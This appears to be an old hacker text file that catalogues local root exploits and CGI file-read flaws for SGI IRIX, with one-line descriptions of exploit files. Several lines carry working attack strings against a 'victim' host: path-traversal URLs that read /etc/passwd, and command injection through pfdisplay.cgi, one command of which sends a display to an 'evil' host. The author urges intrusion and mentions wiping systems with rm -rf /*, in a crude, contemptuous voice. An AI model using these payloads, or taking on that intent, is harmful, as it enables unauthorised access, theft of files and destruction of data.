RIX

A fair number of systems run IRIX, I don't know why, i think it sucks cock. So what if it is a little quicker in one area, all ther areas of the OS are totaly hopeless and anyone who runs IRIX deserves to get hacked and/or have there system crashed. Stupid IRIX shit. These following exploits should "only" work against an IRIX system, if you are looking for a differnt exploit against most systems, look at the previous chapter, which is based on applications on systems.

daynotify.sh: IRIX 6.2 (and maybe others if day5notifier prog is installed) has an exploit in the day5notifier applications that in turn gives suid root by exploiting execv().

irix-buffer.txt: A number of buffer overflow exploits against IRIX.

irix-cdplayer.asc: The cdplayer that is installed automaticaly with IRIX 5.3/6.2 is vulnerable since it is run as suid. You can exploit this localy to obtain the write to make world-writable arbitrarily named directories anywhere on the system.

irix-chost.asc: Something fucked up in IRIX 5.3 where you can get read/write access anywhere on the system.

irix-csetup.txt: /usr/Cadmin/bin/csetup is run as suid/root and can be exploited to make the system drop root priviledges. What happends is if you setenv DEBUG_CSETUP 1 and the run csetup, it creates a file that is woned by root, links it back and overwrites any existing file keeping original permissions. is you log back in csetup will display a dialog window asking for root password, all you do is cancle and it remains in ready-mode.

irix-dataman.txt: This a code that exploits the cdplayer in IRIX 5.3/6.2 for the ability to execute arbitrary commands as root (if you have setuid(0)).

irix-df.c: Two buffer overlows against 'df' that is a part of IRIX systems 5.3, 6.2 and 6.3. This can be exploited to gain root shell (local buffer overflow attack).

irix-fsdump.txt: IRIX 5.3 can be exploited by a local user that gives the local user read/write permissions to any file on the system. So you can become root easily ;) .

irix-iwsh.c: Buffer overflow exploit (local) against IRIX systems 5.x to gain root access.

irix-LicenseManager.asc: License Manager on IRIX systems 5.3 and 6.x can be exploited localy to bypass root passwd prompt.

irix-login.c: Local buffer overflow against IRIX systems 5.3, Irix64 6.2 and 6.3. This bypasses the root passwd prompt to give you a nice root shell.

irix-login.txt: The LOCKOUT system program, that logs all people who make in succesful logins can be exploited to overwrite existing files, or even used to have a peek at some passwds ;) .

irix-printers.c: A local buffer overflow against printers on IRIX systems Irix 5.x, Irix64 6.2 and Irix 6.3 (also 6.x if you change offset). This obtains root shell.

irix-suid_exec.asc: Local exploit against IRIX 5.3 and 6.2 that lets a usr become root. Explanation included :P.

irix-wrap.txt: IRIX 6.2 WWW HTTP/1.0 Servers can be exploited in a way to view any file on the system. (eg. http://sgi.victim/cgi-bin/wrap?/../../../../../etc/passwd)

irix-xlock.c: Local buffer overflow against /usr/bin/X11/xlock in IRIX systems 6.2 and 6.3 that run that get your euid=0 :) .

IRIX.eject.xlock.pset.buffer.ov: IRIX systems upto and including 6.3 are vulverable to buffer overflows against xlock to obtain root shell.

irix.mischoles.yuri.html: Explanations on some IRIX exploits, noot how to exploit them just to say how they "maybe" vulnerable.

irix.suid_shell: A little code that trys to give you suid root shell.

irixat.txt: A NetBSD exploit that seems to work against IRIX 6.2, what it does is send you (in the mail) any file on the system, so of course you need local access.

irixmail.sh: A little code that exploits the IRIX system to gain root shell.

libcrypt.tgz: _RDL_ROOT telnetd env var root exploit for IRIX. This exploits the telnetd to make any "made up" user that has been specified root.

performer_tools: IRIX 6.2, 6.3 and 6.4 that run Performer API Search Tool 2.2 can be exploited to view any file on the system (eg. http://victim.com/cgi-bin/pfdispaly.cgi?/../../../../etc/motd)

rsnakes-irix-buf-ovrflw.zip: A number of buffer overflow exploit against the IRIX Operating System.

sgi.pfdisplay2.html: IRIX systems that run perfomer_tools can be exploited to view any file on the system using lynx:
$ lynx -dump http://victim/cgi-bin/pfdispaly.cgi?'%0A/bin/uname%20-a|'

uname -a\| file

IRIX victim 6.2 03131015 IP22
or

$ lynx -dump \ http://victim/cgi-bin/pfdispaly.cgi?'%0A/usr/bin/X11/xclock%20-display%20evil:0.0|'

sgi_cgihandler.txt: /cgi-bin/handler on IRIX systems is a perl prgram that can be exploited to view (or even ecexute commands) any file on the system under the systems root dir.

sgi_systour.txt: A local user can expliot SGI IRIX 5.3 and 6.2 with systour package to gain root access.

startmidi.txt: Gain root access on IRIX 5.3 by exploiting a small program called 'startmidi' which hides in /usr/sbin.When run, this program creates various files in /tmp, you can get it to follows symlinks and gain root shell.

Well that's IRIX doone, i have probably left something out. However, i don't really give a shit, IRIX is

hopeless and the only reason anyone would root it is to rm -rf /* . I'll cover a different OS in my next txt for Happle.

- Ferrocyanide